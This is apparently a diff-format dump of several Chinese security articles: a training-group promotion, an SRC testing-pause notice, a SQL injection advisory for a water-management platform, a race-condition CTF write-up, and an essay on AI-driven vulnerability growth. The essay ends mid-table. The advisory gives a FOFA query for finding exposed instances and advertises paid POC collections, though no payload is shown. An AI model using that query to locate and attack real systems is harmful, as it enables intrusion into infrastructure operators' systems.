05
|
||||
|
||||
0x5
|
||||
优秀学员报喜
|
||||
|
||||
下面是最近两个月培训期间，很多
|
||||
优秀学员进行报喜，看到师傅们有收获，也是感到很开心的！
|
||||
拉回本小群，就是为了促进大家学习，在群里发学员成果，也是为了让大家学习优秀的师傅们。
|
||||
|
||||
加油，你我皆是黑马！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**神农安全公开交流群**
|
||||
|
||||
有需要的师傅们直接扫描文章二维码加入，然后要是后面群聊二维码扫描加入不了的师傅们，直接扫描文章开头的二维码加我（备注加群）
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**往期回顾**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[手把手js逆向断点调试&js逆向前端加密对抗&企业SRC实战分享](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247495361&idx=1&sn=48283073b325e360823da8dec27a7508&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[浅谈src漏洞挖掘中容易出洞的几种姿势](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247489731&idx=1&sn=c3a5ef01648fad496ecda36b653b6e21&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[HVV护网行动 | 分享最近攻防演练HVV漏洞复盘](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247488672&idx=1&sn=493bb70011a02eb971ff1b74c733f1d9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[攻防演练｜分享最近一次攻防演练RTSP奇特之旅](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492377&idx=1&sn=a94ad30e30e08bd96e888dad744e9814&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[JS漏洞挖掘｜分享使用FindSomething联动的挖掘思路](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492315&idx=1&sn=88991e98058a277e267a9a79b8518e16&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[渗透测试 ｜ 从jeecg接口泄露到任意管理员用户接管+SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493292&idx=1&sn=611fd43361089a30e5f7bcda21274b95&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[分享SRC中后台登录处站点的漏洞挖掘技巧](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247485439&idx=1&sn=3fd7e4cef57edca8e73104f8af38fc05&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[企业SRC支付漏洞&EDUSRC&众测挖掘思路技巧操作分享](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492839&idx=1&sn=b9781f60580c1da8e2151166f0494ba5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[渗透测试 ｜ 分享某次项目上的渗透测试漏洞复盘](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493495&idx=1&sn=791bebc6faa651cc3c585c2f5f481d21&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[【宝典】分享云安全浪潮src漏洞挖掘技巧](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247494877&idx=1&sn=2d00c0f651fd7375e881be86638e53ce&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[实战SRC挖掘｜微信小程序渗透漏洞复盘](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247494468&idx=1&sn=f0da4b4ff7763cbb83b858fb5a8964f9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[综合资产测绘 | 手把手带你搞定信息收集](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493749&idx=1&sn=d2e0febcdcf9dcd8aa44be0d43b51936&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[【宝典】针对若依系统nday的常见各种姿势利用](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493489&idx=1&sn=d3ef10a1ae3b8c161d7174cb42702fac&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
# 【通知】华住SRC暂停漏洞测试公告
|
||||
华住安全响应中心 2026-05-25 01:06
|
||||
|
||||
**关于华住SRC暂停漏洞测试的公告**
|
||||
|
||||
尊敬的白帽子师傅们：
|
||||
|
||||
我们衷心感谢大家对华住安全响应中心长期以来给予的宝贵支持！
|
||||
|
||||
为了进一步提升白帽师傅们的用户体验和服务质量，我们计划于**2026年5月25日至2026年6月3日**
|
||||
暂停漏洞测试及华住SRC平台的使用，以便进行必要的升级优化。我们预计在2026年6月4日12:00AM重新上线且恢复漏洞测试活动，如有任何变动，我们将另行发布通知。
|
||||
|
||||
**在暂停期间，**
|
||||
**若您发现任何高风险漏洞和高价值安全情报，请通过邮箱[email protected]提交至华住安全响应中心。**
|
||||
我们将根据漏洞情报的实际价值，结合华住SRC的相关规则，给予相应的奖励。对于由此给您带来的不便，我们深表歉意，并希望得到您的理解与支持。
|
||||
|
||||
此外，我们强烈谴责任何形式的恶意网络攻击行为，对于在此期间发生的此类行为，我们将保留追究法律责任的权利。
|
||||
|
||||
再次感谢大家的支持与配合，期待在优化后的平台上为您提供更优质的服务。
|
||||
|
||||
|
||||
|
||||
华住安全响应中心
|
||||
|
||||
2026年5月25日
|
||||
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
# 厦门四信通信 水利信息化平台 index.do 存在SQL注入漏洞
|
||||
原创 安羽安全
|
||||
安羽安全 安羽安全 2026-05-25 02:27
|
||||
|
||||
**01****免责声明：**
|
||||
|
||||
文章内容仅供日常学习使用，请勿非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。如有内容争议或侵权，我们会及时删除。
|
||||
|
||||
**02 漏洞描述**
|
||||
|
||||
厦门四信通信科技有限公司
|
||||
|
||||
水利信息化平台 index SQL注入漏洞复现。
|
||||
|
||||
**fofa：title="水利信息化平台"**
|
||||
|
||||
|
||||
## 03 漏洞复现
|
||||
|
||||
1、访问系统
|
||||
|
||||
|
||||
|
||||
2
|
||||
、漏洞验证
|
||||
|
||||
|
||||
|
||||
**关注公众号回复：260525 获取漏洞POC详情**
|
||||
|
||||
**04 漏洞详情**
|
||||
|
||||
**Nuclei 批量自查验证脚本，加入下方内部圈子获取**
|
||||
|
||||
|
||||
|
||||
**圈子目前福利：**
|
||||
|
||||
整合全网公开1day/Nday漏洞POC、漏洞复现
|
||||
|
||||
每周持续更新，已更新漏洞500+
|
||||
|
||||
md5帮忙解密、凌风云网盘搜索 帮忙下载资源
|
||||
|
||||
后续福利还在增加中......
|
||||
|
||||
|
||||
|
||||
**漏洞持续更新中，限时立减19**
|
||||
|
||||
|
||||
|
||||
扫描上方图片 二维码即可加入纷传内部圈子
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
# 并发逻辑漏洞靶场案例
|
||||
原创 流岁金沙
|
||||
流岁金沙 迷雾光航 2026-05-25 03:25
|
||||
|
||||
一、环境
|
||||
|
||||
无镜靶场 https://bdziyi.com/ulab/
|
||||
|
||||
Burpsuite
|
||||
|
||||
Chrome浏览器
|
||||
|
||||
|
||||
这个逻辑漏洞的具体原理，可以参考我的上一篇文章：
|
||||
|
||||
https://mp.weixin.qq.com/s/rosmbXuVUPRl4EkX3aXxZw
|
||||
|
||||
二、解题
|
||||
|
||||
访问网站，可以注册账号，先注册一个
|
||||
|
||||
|
||||
|
||||
题目要求是买下一个商品即可
|
||||
|
||||
|
||||
|
||||
个人中心有一个设置生日，可以生日当天领取50元的功能（漏洞点大概就在这里了）
|
||||
|
||||
|
||||
|
||||
正常是不能直接设置当天就是生日的，但是是前端验证的，抓包后修改成当天就行了
|
||||
|
||||
|
||||
|
||||
先正常测试，看看能不能通过发包多次领取，正常来说只能领取一次
|
||||
|
||||
|
||||
|
||||
重新注册一个账号，然后使用并发领取多个礼包
|
||||
|
||||
|
||||
|
||||
个人中心已经有400元了
|
||||
|
||||
|
||||
|
||||
购买第一个商品
|
||||
|
||||
|
||||
|
||||
成功得到flag，解题成功
|
||||
|
||||
|
||||
|
||||
三、总结
|
||||
|
||||
非常经典的并发漏洞的问题，在领取礼包的功能点那里后端的逻辑应该是先检查是否有领取，然后再往数据库中增加金额，并且标记已经领取，这之间就会有一个时间窗口造成并发漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
仅供参考，哪里有问题欢迎指正！
|
||||
|
||||
|
||||
@@ -0,0 +1,561 @@
|
||||
# 漏洞通胀时代：产品安全的三层破局架构思考
|
||||
原创 aerfa21
|
||||
aerfa21 我的安全视界观 2026-05-24 22:06
|
||||
|
||||
> 漏洞发现成本趋近于零，但修复能力严重滞后。这个剪刀差，就是产品安全的下一个主战场。
|
||||
|
||||
```
|
||||
📋 文章结构概览
|
||||
一、背景：Mythos 三事件冲击波
|
||||
├─ 事件一：Mythos 发布（2026-04-07）
|
||||
├─ 事件二：curl 维护者实测（2026-05-13）
|
||||
└─ 事件三：Glasswing 首月战报（2026-05-22）
|
||||
|
||||
二、问题：漏洞正在"通胀"
|
||||
├─ 开源软件漏洞暴涨
|
||||
├─ 自研产品同样面临通胀
|
||||
└─ 软件厂商面临的全新挑战
|
||||
|
||||
三、方案：三层破局架构
|
||||
├─ 第一层：数据可信（SBOM 数据底座）
|
||||
├─ 第二层：流程自动化（漏洞响应 + 日志分析前置）
|
||||
└─ 第三层：主动防御（大模型漏洞挖掘）
|
||||
|
||||
四、总结：三层递进，环环相扣
|
||||
|
||||
五、行动：为什么现在必须做
|
||||
```
|
||||
|
||||
最近一直在关注
|
||||
Mythos。从 4 月 7 日发布，到 curl 维护者实测，再到 5 月 22 日 Glasswing 首月战报——这三件事，越想越觉得紧张。不是说 AI 挖洞有多厉害（大家应该早就有预期），而是
|
||||
速度。一个月 1 万个高危漏洞，这个数量级，不止"进步"，是"通胀"。
|
||||
|
||||
作为产品安全负责人，第一反应不是"哇，AI 真强"，而应该是
|
||||
"我们怎么办？"漏洞发现已经“白菜化”了。攻击者能用，我们也能用。但能不能在用之前，先把自家产品看清楚？能不能在用之后，让漏洞少一点、修得快一点？
|
||||
|
||||
这篇文章，就是这段时间思考的总结。
|
||||
|
||||
# 一、背景：Mythos 三事件冲击波
|
||||
## 1.1 事件一：Mythos 发布（2026-04-07）
|
||||
|
||||
Anthropic 发布了
|
||||
Claude Mythos Preview。两个能力，以前的工具做不到：
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n25" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">能力</span></span></span></th><th style="box-sizing: border-box;"><span cid="n26" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">说明</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">自主推理 32 步以上逻辑链</span></span></strong></span></td><td style="box-sizing: border-box;"><span cid="n29" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">能发现"A 调 B、B 调 C、最后在 D 爆炸"的深层逻辑漏洞</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">自动生成 Exploit</span></span></strong></span></td><td style="box-sizing: border-box;"><span cid="n32" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">不仅告诉有漏洞，还能直接写出攻击脚本</span></span></span></td></tr></tbody></table>
|
||||
Anthropic 自己的评价是："
|
||||
过于强大，危险到不宜公开发布"。同时宣布启动
|
||||
Project Glasswing（玻璃翼计划），联合 AWS、Apple、Google、Microsoft 等 50 多家科技巨头，仅向合作伙伴开放
|
||||
防御性使用。
|
||||
> 💡
|
||||
**这意味着什么？**
|
||||
> 攻击门槛被压到历史最低。
|
||||
> 以前挖一个深层逻辑漏洞要高级安全研究员花几周，现在 AI 几小时搞定。
|
||||
> 防守方的时间窗口，正在急剧收缩。
|
||||
|
||||
##
|
||||
## 1.2 事件二：curl 维护者实测（2026-05-13）
|
||||
|
||||
curl 的创始人
|
||||
Daniel Stenberg，决定亲自测试 Mythos。他让 Mythos 扫描 curl 代码库，看看能发现什么。结果：
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n47" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Mythos 报告</span></span></span></th><th style="box-sizing: border-box;"><span cid="n48" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Stenberg 验证结论</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n50" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">漏洞 1</span></span></span></td><td style="box-sizing: border-box;"><span cid="n51" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">❌ 误报</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n53" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">漏洞 2</span></span></span></td><td style="box-sizing: border-box;"><span cid="n54" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">❌ 误报</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n56" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">漏洞 3</span></span></span></td><td style="box-sizing: border-box;"><span cid="n57" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">❌ 误报</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n59" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">漏洞 4</span></span></span></td><td style="box-sizing: border-box;"><span cid="n60" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">⚠️ 普通 bug（非安全问题）</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n62" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">漏洞 5</span></span></span></td><td style="box-sizing: border-box;"><span cid="n63" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">⏳ 待确认</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">真实安全漏洞</span></span></strong></span></td><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">仅 1 个，且为低危</span></span></strong></span></td></tr></tbody></table>
|
||||
Stenberg 的态度很有意思，两方面都说到了：
|
||||
|
||||
✅
|
||||
认可：LLM 做代码安全审计的能力，确实远超传统静态扫描工具
|
||||
|
||||
⚠️
|
||||
质疑：Mythos 的能力被过度营销了，其他顶级 LLM（GPT-4、Claude Opus）同样可以做到，并不存在代际差距
|
||||
> 💡
|
||||
**这说明什么？**
|
||||
> Mythos 不"神话"。
|
||||
> AI 挖洞的时代确实到来了，但真正的瓶颈不在"能不能发现"，而在"
|
||||
**发现的问题里，哪个真的危险、该优先修**
|
||||
"。
|
||||
|
||||
##
|
||||
## 1.3 事件三：Glasswing 首月战报（2026-05-22）
|
||||
|
||||
Anthropic 公布 Project Glasswing 运行
|
||||
1 个月的成果：
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n82" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">指标</span></span></span></th><th style="box-sizing: border-box;"><span cid="n83" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">数据</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n85" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">合作伙伴数量</span></span></span></td><td style="box-sizing: border-box;"><span cid="n86" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">约 50 家</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n88" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">扫描开源项目</span></span></span></td><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">1,000+ 个</span></span></strong></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n91" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">漏洞发现总数</span></span></span></td><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">23,019 个</span></span></strong></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n94" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">高危+严重漏洞</span></span></span></td><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">> 10,000 个</span></span></strong></span></td></tr></tbody></table>
|
||||
这个数据很震撼，但更震撼的是背后透露出的信号：AI 的漏洞发现能力，已经大幅领先于人类现有的修复能力。
|
||||
> 💡
|
||||
**残酷现实：**
|
||||
> 以前一个高危漏洞从发现到修复，可能要几周甚至几个月。
|
||||
> 现在 AI 一个月能发现 1 万个高危漏洞——
|
||||
**修复速度根本追不上发现速度**
|
||||
。这个剪刀差，就是产品安全团队下一个十年最核心的问题。
|
||||
|
||||
##
|
||||
## 1.4 三件事串起来，结论是什么？
|
||||
|
||||
这三件事串起来的核心逻辑是：
|
||||
> 必须先于攻击者，用 AI 把自家产品的漏洞先挖出来、先修完漏洞响应流程必须提速，从"天级"压缩到"小时级"最终目标：让漏洞少一点，而不是被动跟着漏洞跑
|
||||
|
||||
#
|
||||
# 二、问题：漏洞正在"通胀"
|
||||
## 2.1 开源软件漏洞正在经历"通胀"
|
||||
|
||||
在 Mythos 出现之前，一个中型产品的年度漏洞发现量，大致可以这样估算：
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n118" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">发现方式</span></span></span></th><th style="box-sizing: border-box;"><span cid="n119" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">年度发现量（估算）</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n121" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">传统 SAST/DAST 工具扫描</span></span></span></td><td style="box-sizing: border-box;"><span cid="n122" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">50~200 个（误报率 30%~70%）</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n124" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">人工渗透测试（1~2 次/年）</span></span></span></td><td style="box-sizing: border-box;"><span cid="n125" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">5~20 个</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n127" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">第三方漏洞众测/赏金计划</span></span></span></td><td style="box-sizing: border-box;"><span cid="n128" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">3~15 个</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">合计</span></span></strong></span></td><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">约 60~235 个</span></span></strong></span></td></tr></tbody></table>
|
||||
而 Glasswing 首月战报告诉我们：
|
||||
50 家合作伙伴，1 个月发现了 1 万+ 高危漏洞。如果把这个能力引入到产品安全流程中，可以预见：
|
||||
> 产品每年发现的漏洞数量，可能会在短期内暴涨
|
||||
**5~10 倍**
|
||||
。
|
||||
|
||||
|
||||
这不是因为产品变不安全了，而是因为
|
||||
以前看不见的漏洞，现在被 AI 看见了
|
||||
。对于软件厂商来说，这意味着：产品依赖的每一个开源组件——无论是直接依赖还是传递依赖——都可能包含已被 AI 发现、但尚未修复的漏洞。
|
||||
|
||||
|
||||
更危险的是：
|
||||
攻击者也在用类似的 AI 工具。Mythos 能发现的漏洞，恶意攻击者同样能发现。供应链攻击面，正在被 AI 以前所未有的速度"扫荡"。
|
||||
##
|
||||
## 2.2 自研产品同样面临漏洞"通胀"
|
||||
|
||||
除了开源组件，公司自有产品的代码库同样面临漏洞"通胀"：
|
||||
|
||||
原因一：AI 辅助代码生成引入新风险
|
||||
|
||||
GitHub Copilot、Cursor、Claude Code 等工具正在被大规模采用。
|
||||
|
||||
AI 生成的代码，安全质量参差不齐——有些有严重逻辑漏洞，有些有传统注入类漏洞。产品代码库中，AI 生成代码的比例正在快速上升，这些代码有没有经过安全审查？
|
||||
|
||||
|
||||
原因二：AI 能挖出人和传统工具发现不了的漏洞
|
||||
|
||||
这是最值得警惕的。
|
||||
|
||||
传统 SAST/DAST 工具只能匹配已知漏洞规则，人工审计受限于时间和经验，很多深层逻辑漏洞、业务逻辑漏洞，以前根本完全发现不了。但 AI 工具能理解代码语义、能串联多个模块做推理，
|
||||
以前发现不了的漏洞，现在能被 AI 发现了。
|
||||
|
||||
|
||||
原因三：攻击者用 AI 做自动化渗透测试
|
||||
|
||||
以前攻击者要手工测一个产品的所有接口，需要数周。现在用 AI 工具，可以在几天内完成全量接口的安全审计。
|
||||
|
||||
作为网络安全产品，被攻击者盯上的概率远高于一般产品。产品的暴露面，可能在下次 HW 或真实攻击中，被攻击方用 AI 工具"扫荡"。
|
||||
##
|
||||
## 2.3 软件厂商面临的全新挑战
|
||||
|
||||
作为网络安全产品厂商，场景和一般企业不一样：
|
||||
|
||||
挑战一：漏洞曝光 = 客户侧风险
|
||||
|
||||
产品部署在成百上千家客户侧。
|
||||
|
||||
一旦产品爆出高危漏洞，影响的是
|
||||
所有客户。修复速度，直接决定客户信任和品牌声誉。
|
||||
|
||||
|
||||
挑战二：漏洞情报来得快，修复速度跟不上
|
||||
|
||||
早上爆出漏洞，中午客户就来问了。
|
||||
|
||||
需要在
|
||||
几小时内给出修复方案或临时缓解措施。传统流程（发现→验证→排期→修复→测试→发布）根本来不及。
|
||||
|
||||
|
||||
挑战三：攻击者也在用 AI 审计产品
|
||||
|
||||
产品是网络安全产品，攻击者有极强的动力去挖产品的漏洞。
|
||||
|
||||
Mythos 级别的 AI 工具，能让攻击者在几天内完成产品全量安全审计。
|
||||
|
||||
产品的代码，可能正在被 AI"逆向工程"。
|
||||
> **这一节的核心结论：**
|
||||
> 漏洞"通胀"不仅是内部问题，更是
|
||||
**客户信任和品牌声誉问题**
|
||||
。
|
||||
> 修复速度，就是软件厂商的生命线。
|
||||
|
||||
#
|
||||
# 三、方案：三层破局架构
|
||||
> 漏洞越来越多，忙不过来怎么办？
|
||||
> 答案分三层，环环相扣，从"排水"到"少来水"。
|
||||
|
||||
## 第一层：数据可信——先知道自己有什么
|
||||
|
||||
处理漏洞最浪费时间的一步是什么？
|
||||
|
||||
找影响面。现在的流程（问题）
|
||||
> 情报来了 → 人工判断严重性 → 逐个问产线"你们用了这个组件没？" → 等回复 → 确认影响 → 研究怎么修 → 通知产线改 → 改完手动复测 → 归档
|
||||
|
||||
|
||||
最卡脖子的一步：
|
||||
问产线。因为往往不知道产品到底用了什么版本的什么组件。漏洞量少的时候还能扛；量一翻倍，线性流程直接崩。
|
||||
##
|
||||
## 解决方案：SBOM 数据底座
|
||||
|
||||
把家底摸清楚，比如我们靠两个工具：
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n196" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">工具</span></span></span></th><th style="box-sizing: border-box;"><span cid="n197" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">作用</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">产品安全管理平台</span></span></strong></span></td><td style="box-sizing: border-box;"><span cid="n200" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">管理产品与仓库的关联关系，产品历史漏洞信息</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">SCA 工具</span></span></strong></span></td><td style="box-sizing: border-box;"><span cid="n203" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">自动扫描代码仓库中的组件信息</span></span></span></td></tr></tbody></table>
|
||||
两者结合，建起
|
||||
SBOM 清单：
|
||||
|
||||
哪个产品、哪个版本、包含哪些组件、责任人是谁。
|
||||
> 有了这个数据底座，后面的自动化才有了根基。
|
||||
> 就像做研发安全流程设计时说的一样——安全不能自己造流程，必须结合公司的实际情况。
|
||||
> 数据底座也是一样，不是从零搭一个完美体系，而是在已有基础上把关键数据补齐、连起来。
|
||||
|
||||
##
|
||||
## 踩过的坑
|
||||
|
||||
这些坑都不高深，但就是这些基础工作，决定了后面所有自动化的效果：
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n215" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">踩过的坑</span></span></span></th><th style="box-sizing: border-box;"><span cid="n216" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">解决办法</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">组件信息不完整</span></span></strong></span></td><td style="box-sizing: border-box;"><span cid="n219" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">分批推进，先扫核心产品，再逐步扩展</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">责任人不好确定</span></span></strong></span></td><td style="box-sizing: border-box;"><span cid="n222" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">产品安全管理平台绑定责任人，一人主责+多人协同</span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">版本信息不准</span></span></strong></span></td><td style="box-sizing: border-box;"><span cid="n225" mdtype="table_cell" style="box-sizing: 